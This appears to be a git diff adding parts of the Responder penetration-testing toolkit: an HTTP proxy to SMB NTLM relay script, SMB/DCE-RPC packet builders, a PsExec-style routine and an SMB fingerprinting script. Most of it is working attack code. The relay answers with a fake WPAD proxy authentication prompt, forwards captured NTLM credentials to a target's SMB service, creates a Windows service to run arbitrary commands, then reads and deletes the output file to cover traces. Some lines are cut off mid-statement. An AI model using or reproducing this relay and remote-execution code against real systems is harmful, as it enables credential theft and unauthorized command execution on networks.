diff --git a/tools/RelayHTTPSMB/Finger.py b/tools/RelayHTTPSMB/Finger.py
new file mode 100755
index 0000000..39a8879
--- /dev/null
+++ b/tools/RelayHTTPSMB/Finger.py
@@ -0,0 +1,225 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import re,sys,socket,struct
+from socket import *
+from odict import OrderedDict
+
+__version__ = "0.3"
+Timeout = 0.5
+class Packet():
+ fields = OrderedDict([
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+def longueur(payload):
+ length = struct.pack(">i", len(''.join(payload)))
+ return length
+
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("error-code", "\x00\x00\x00\x00" ),
+ ("flag1", "\x00"),
+ ("flag2", "\x00\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\x00\x00"),
+ ("uid", "\x00\x00"),
+ ("mid", "\x00\x00"),
+ ])
+
+class SMBNego(Packet):
+ fields = OrderedDict([
+ ("Wordcount", "\x00"),
+ ("Bcc", "\x62\x00"),
+ ("Data", "")
+ ])
+
+ def calculate(self):
+ self.fields["Bcc"] = struct.pack(".
+import struct
+import sys
+import random
+import time
+from odict import OrderedDict
+import datetime
+from base64 import b64decode, b64encode
+
+def longueur(payload):
+ length = struct.pack(">i", len(''.join(payload)))
+ return length
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+##################HTTP Proxy Relay##########################
+def HTTPCurrentDate():
+ Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
+ return Date
+
+class WPAD_Auth_407_Ans(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 407 Unauthorized\r\n"),
+ ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
+ ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
+ ("Type", "Content-Type: text/html\r\n"),
+ ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
+ ("Connection", "Proxy-Connection: close\r\n"),
+ ("Cache-Control", "Cache-Control: no-cache\r\n"),
+ ("Pragma", "Pragma: no-cache\r\n"),
+ ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
+ ("Len", "Content-Length: 0\r\n"),
+ ("CRLF", "\r\n"),
+ ])
+
+
+class WPAD_NTLM_Challenge_Ans(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 407 Unauthorized\r\n"),
+ ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
+ ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
+ ("Type", "Content-Type: text/html\r\n"),
+ ("WWWAuth", "Proxy-Authenticate: NTLM "),
+ ("Payload", ""),
+ ("Payload-CRLF", "\r\n"),
+ ("Len", "Content-Length: 0\r\n"),
+ ("CRLF", "\r\n"),
+ ])
+
+ def calculate(self,payload):
+ self.fields["Payload"] = b64encode(payload)
+
+##################SMB Relay Packet##########################
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("error-code", "\x00\x00\x00\x00" ),
+ ("flag1", "\x08"),
+ ("flag2", "\x01\xc8"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("Reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\x3c\x1b"),
+ ("uid", "\x00\x00"),
+ ("mid", "\x00\x00"),
+ ])
+
+class SMBNegoCairo(Packet):
+ fields = OrderedDict([
+ ("Wordcount", "\x00"),
+ ("Bcc", "\x62\x00"),
+ ("Data", "")
+ ])
+
+ def calculate(self):
+ self.fields["Bcc"] = struct.pack(" 255:
+ self.fields["ApplicationHeaderTagLenOfLen"] = "\x82"
+ self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0)
+ else:
+ self.fields["ApplicationHeaderTagLenOfLen"] = "\x81"
+ self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3)
+
+ if len(NTLMData)-8 > 255:
+ self.fields["AsnSecMechLenOfLen"] = "\x82"
+ self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4)
+ else:
+ self.fields["AsnSecMechLenOfLen"] = "\x81"
+ self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6)
+
+ if len(NTLMData)-12 > 255:
+ self.fields["ChoosedTagLenOfLen"] = "\x82"
+ self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8)
+ else:
+ self.fields["ChoosedTagLenOfLen"] = "\x81"
+ self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9)
+
+ if len(NTLMData)-16 > 255:
+ self.fields["ChoosedTag1StrLenOfLen"] = "\x82"
+ self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12)
+ else:
+ self.fields["ChoosedTag1StrLenOfLen"] = "\x81"
+ self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12)
+
+ CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
+
+ SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
+
+ ## Packet len
+ self.fields["andxoffset"] = struct.pack("", "^>")#Filtering
+ self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
+ self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
+ self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
+ self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
+ self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
+ self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
+ self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
+ self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
+
+ File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
+ WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
+ CleanService = "sc delete "+self.fields["ServiceName"]+"^&"#Start by deleting the service..then run the cmd.
+ FinalCMD = CleanService+"del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
+ #That is: delete service we just ran, delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
+ self.fields["FileName"] = ""#Reset it.
+ self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
+ self.fields["BinCMD"] = FinalCMD
+ self.fields["BintoEnd"] = "& %COMSPEC% /C "+File
+ BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
+
+ ## Calculate first
+ self.fields["BinPathMaxCount"] = struct.pack(" 0.5:#Timeout
+ break
+ try:
+ data = s.recv(1024)
+ if data:
+ Completedata.append(data)
+ Start=time.time()
+ else:
+ break
+ except:
+ pass
+
+ s.setblocking(1)
+ return s, ''.join(Completedata)
+
+
+def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host):
+ if data == None:
+ return False
+ head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBNTCreateData()
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+
+ ## Fail Handling.
+ if data[8:10] == "\xa2\x22":
+ print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n"
+ return False
+
+ ## DCE/RPC Write.
+ if data[8:10] == "\xa2\x00":
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ x = SMBDCEData()
+ x.calculate()
+ f = data[42:44]
+ t = SMBWriteData(FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC SVCCTLOpenManagerW.
+ if data[8:10] == "\x2e\x00":
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")#, MachineName="\\\\"+Host[0])
+ w.calculate()
+ x = SMBDCEPacketData(Data=w)
+ x.calculate()
+ t = SMBWriteData(FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read Answer.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC SVCCTLCreateService.
+ if data[8:10] == "\x2e\xb0":
+ print "[+] Server returned NT_STATUS_PIPE_DISCONNECTED, no admin rights on that pipe.\n"
+ return False
+ ## DCE/RPC SVCCTLCreateService.
+ if data[8:10] == "\x2e\x00":
+ if data[len(data)-4:] == "\x05\x00\x00\x00":
+ print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n"
+ return False
+ #print "[+] Creating service"
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ ContextHandler = data[88:108]
+ ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
+ ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
+ FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
+ FilePath = FileChars
+ w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath, ReferentID="\x21\x03\x03\x00",BinCMD=Command)
+ w.calculate()
+ x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
+ x.calculate()
+ t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read Answer.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC SVCCTLOpenService.
+ if data[8:10] == "\x2e\x00":
+ if data[len(data)-4:] == "\x05\x00\x00\x00":
+ print "[+] Failed to create the service\n"
+ return False
+ #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0c\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
+ w.calculate()
+ x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
+ x.calculate()
+ t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read Answer.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0d\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC SVCCTLStartService.
+ if data[8:10] == "\x2e\x00":
+ if data[len(data)-4:] == "\x05\x00\x00\x00":
+ print "[+] Failed to open the service.\n"
+ return False
+ ContextHandler = data[88:108]
+ head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0e\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
+ x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
+ x.calculate()
+ t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+ ## DCE/RPC Read Answer.
+ if data[8:10] == "\x2f\x00":
+ head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0f\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
+ t.calculate()
+ packet0 = str(head)+str(t)
+ buffer1 = longueur(packet0)+packet0
+ s.send(buffer1)
+ data = s.recv(2048)
+
+
+ ##Tree connect c$
+ if data[8:10] == "\x2e\x00":
+ #print "[+] Command executed, grabbing output now."
+ Logs.info('Command executed:')
+ Logs.info(clientIP+","+Username+','+Command)
+ #time.sleep(1)#Maybe the command executed took some time..
+ #print "[+] Removing service.\n[+] Cleaning up files.\n"
+ head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
+ t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
+ t.calculate()
+ packet1 = str(head)+str(t)
+ buffer1 = longueur(packet1)+packet1
+ s.send(buffer1)
+ data = s.recv(2048)
+ ##OpenAndX.
+ if data[8:10] == "\x75\x00":
+ head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
+ t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
+ t.calculate()
+ packet1 = str(head)+str(t)
+ buffer1 = longueur(packet1)+packet1
+ s.send(buffer1)
+ data = s.recv(2048)
+ ##OpenAndX.
+ if data[8:10] == "\x2d\x34":
+ time.sleep(1)#not found, maybe still processing the cmd. Wait a bit.
+ head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
+ t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
+ t.calculate()
+ packet1 = str(head)+str(t)
+ buffer1 = longueur(packet1)+packet1
+ s.send(buffer1)
+ data = s.recv(2048)
+ ##OpenAndX.
+ if data[8:10] == "\x2d\x34":
+ time.sleep(1)#not found, command failed.
+ print "[+] The command failed."
+ return data
+ ##ReadRequest.
+ ## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed.
+ if data[8:10] == "\x2d\x00":
+ ReturnedFID = data[41:43]
+ head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00")
+ t = ReadRequestAndX(FID=ReturnedFID)
+ packet1 = str(head)+str(t)
+ buffer1 = longueur(packet1)+packet1
+ s.send(buffer1)
+ s, data = SMBReadRecv(s)
+ #print "[+] Output:\n"
+ print ExtractCommandOutput(data)
+
+ ##Close Request
+ if data[8:10] == "\x2e\x00":
+ head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
+ t = CloseRequest(FID = ReturnedFID)
+ packet1 = str(head)+str(t)
+ buffer1 = longueur(packet1)+packet1
+ s.send(buffer1)
+ data = s.recv(2048)
+
+ ##DeleteFileRequest.
+ if data[8:10] == "\x04\x00":
+ head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00")
+ t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt")
+ t.calculate()
+ packet1 = str(head)+str(t)
+ buffer1 = longueur(packet1)+packet1
+ #print "[+] Deleting file now."
+ s.send(buffer1)
+ data = s.recv(2048)
+
+ if data[8:10] == "\x06\x00":
+ #print "[+] File deleted, making sure it's not there anymore.."
+ head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
+ t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
+ t.calculate()
+ packet1 = str(head)+str(t)
+ buffer1 = longueur(packet1)+packet1
+ s.send(buffer1)
+ data = s.recv(2048)
+ return data
+
diff --git a/tools/RelayHTTPSMB/HTTPToSMBRelay.py b/tools/RelayHTTPSMB/HTTPToSMBRelay.py
new file mode 100755
index 0000000..692de65
--- /dev/null
+++ b/tools/RelayHTTPSMB/HTTPToSMBRelay.py
@@ -0,0 +1,361 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import sys, re, os, logging, warnings, thread, optparse, time
+from HTTPRelayPacket import *
+from Finger import RunFinger
+sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../../')))
+from socket import *
+
+__version__ = "0.2"
+
+def UserCallBack(op, value, dmy, parser):
+ args=[]
+ for arg in parser.rargs:
+ if arg[0] != "-":
+ args.append(arg)
+ if getattr(parser.values, op.dest):
+ args.extend(getattr(parser.values, op.dest))
+ setattr(parser.values, op.dest, args)
+
+parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
+parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
+
+parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
+
+options, args = parser.parse_args()
+
+if options.TARGET is None:
+ print "\n-t Mandatory option is missing, please provide a target.\n"
+ parser.print_help()
+ exit(-1)
+if options.UserToRelay is None:
+ print "\n-u Mandatory option is missing, please provide a username to relay.\n"
+ parser.print_help()
+ exit(-1)
+
+UserToRelay = options.UserToRelay
+Host = options.TARGET, 445
+Cmd = ""
+
+def ShowWelcome():
+ print '\n\033[1;34mResponder Proxy Auth to SMB NTLMv1/2 Relay 0.2\nSupporting NTLMv1 and NTLMv2.'
+ print 'Send bugs/hugs/comments to: laurent.gaffie@gmail.com'
+ print 'Usernames to relay (-u) are case sensitive.'
+ print 'To kill this script hit CRTL-C or .\033[1;31m\n'
+ print 'Use this script in combination with Responder.py for best results.'
+ print 'Do not to use Responder.py with -P set. This tool does the same'
+ print 'than -P but with cross-protocol NTLM relay. Always target a box '
+ print 'joined to the target domain,not the PDC as SMB signing is enabled '
+ print 'by default. For optimal pwnage and stealthiness, launch Responder '
+ print 'with these 2 options only: -rv \033[0m'
+ print '\n\033[1;34mRelaying credentials only for these users:\033[32m'
+ print UserToRelay
+ print '\033[0m\n'
+
+ShowWelcome()
+Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../"
+
+Logs = logging
+Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
+
+try:
+ RunFinger(Host[0])
+except:
+ print "The host %s seems to be down or port 445 down."%(Host[0])
+ sys.exit(1)
+
+
+# Function used to write captured hashs to a file.
+def WriteData(outfile, data, user):
+ if not os.path.isfile(outfile):
+ with open(outfile,"w") as outf:
+ outf.write(data + '\n')
+ return
+ with open(outfile,"r") as filestr:
+ if re.search(user.encode('hex'), filestr.read().encode('hex')):
+ return False
+ elif re.search(re.escape("$"), user):
+ return False
+ with open(outfile,"a") as outf2:
+ outf2.write(data + '\n')
+
+#Function used to verify if a previous auth attempt was made.
+def ReadData(Outfile, Client, User, Domain, Target, cmd):
+ try:
+ with open(Logs_Path+"logs/"+Outfile,"r") as filestr:
+ Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure"
+ if re.search(Login.encode('hex'), filestr.read().encode('hex')):
+ print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User)
+ return True
+
+ else:
+ return False
+ except:
+ raise
+
+def ParseHTTPHash(data, key, client):
+ LMhashLen = struct.unpack(' 24:
+ NthashLen = 64
+ DomainLen = struct.unpack('i", len(''.join(payload)))
+
+def ExtractChallenge(data):
+ SecBlobLen = struct.unpack(" 255:
+ Challenge = data[106:114]
+ print "[+] Setting up HTTP Proxy with SMB challenge:", Challenge.encode("hex")
+ return Challenge
+
+def ExtractRawNTLMPacket(data):
+ SecBlobLen = struct.unpack(" 0:
+ RunPsExec(Host)
+ time.sleep(1)
+ except KeyboardInterrupt:
+ exit()
+
+if __name__ == '__main__':
+ try:
+ main()
+ except:
+ raise
diff --git a/tools/RelayHTTPSMB/odict.py b/tools/RelayHTTPSMB/odict.py
new file mode 100644
index 0000000..4e7b93b
--- /dev/null
+++ b/tools/RelayHTTPSMB/odict.py
@@ -0,0 +1,117 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+from UserDict import DictMixin
+
+class OrderedDict(dict, DictMixin):
+
+ def __init__(self, *args, **kwds):
+ if len(args) > 1:
+ raise TypeError('expected at most 1 arguments, got %d' % len(args))
+ try:
+ self.__end
+ except AttributeError:
+ self.clear()
+ self.update(*args, **kwds)
+
+ def clear(self):
+ self.__end = end = []
+ end += [None, end, end]
+ self.__map = {}
+ dict.clear(self)
+
+ def __setitem__(self, key, value):
+ if key not in self:
+ end = self.__end
+ curr = end[1]
+ curr[2] = end[1] = self.__map[key] = [key, curr, end]
+ dict.__setitem__(self, key, value)
+
+ def __delitem__(self, key):
+ dict.__delitem__(self, key)
+ key, prev, next = self.__map.pop(key)
+ prev[2] = next
+ next[1] = prev
+
+ def __iter__(self):
+ end = self.__end
+ curr = end[2]
+ while curr is not end:
+ yield curr[0]
+ curr = curr[2]
+
+ def __reversed__(self):
+ end = self.__end
+ curr = end[1]
+ while curr is not end:
+ yield curr[0]
+ curr = curr[1]
+
+ def popitem(self, last=True):
+ if not self:
+ raise KeyError('dictionary is empty')
+ if last:
+ key = reversed(self).next()
+ else:
+ key = iter(self).next()
+ value = self.pop(key)
+ return key, value
+
+ def __reduce__(self):
+ items = [[k, self[k]] for k in self]
+ tmp = self.__map, self.__end
+ del self.__map, self.__end
+ inst_dict = vars(self).copy()
+ self.__map, self.__end = tmp
+ if inst_dict:
+ return self.__class__, (items,), inst_dict
+ return self.__class__, (items,)
+
+ def keys(self):
+ return list(self)
+
+ setdefault = DictMixin.setdefault
+ update = DictMixin.update
+ pop = DictMixin.pop
+ values = DictMixin.values
+ items = DictMixin.items
+ iterkeys = DictMixin.iterkeys
+ itervalues = DictMixin.itervalues
+ iteritems = DictMixin.iteritems
+
+ def __repr__(self):
+ if not self:
+ return '%s()' % (self.__class__.__name__,)
+ return '%s(%r)' % (self.__class__.__name__, self.items())
+
+ def copy(self):
+ return self.__class__(self)
+
+ @classmethod
+ def fromkeys(cls, iterable, value=None):
+ d = cls()
+ for key in iterable:
+ d[key] = value
+ return d
+
+ def __eq__(self, other):
+ if isinstance(other, OrderedDict):
+ return len(self)==len(other) and \
+ min(p==q for p, q in zip(self.items(), other.items()))
+ return dict.__eq__(self, other)
+
+ def __ne__(self, other):
+ return not self == other
diff --git a/tools/SMBFinger/Finger.py b/tools/SMBFinger/Finger.py
new file mode 100755
index 0000000..c4dabb7
--- /dev/null
+++ b/tools/SMBFinger/Finger.py
@@ -0,0 +1,234 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import re,sys,socket,struct
+from socket import *
+from odict import OrderedDict
+import optparse
+
+__version__ = "0.3"
+
+parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
+
+parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
+options, args = parser.parse_args()
+
+Timeout = 0.3
+Host = options.TARGET
+
+class Packet():
+ fields = OrderedDict([
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
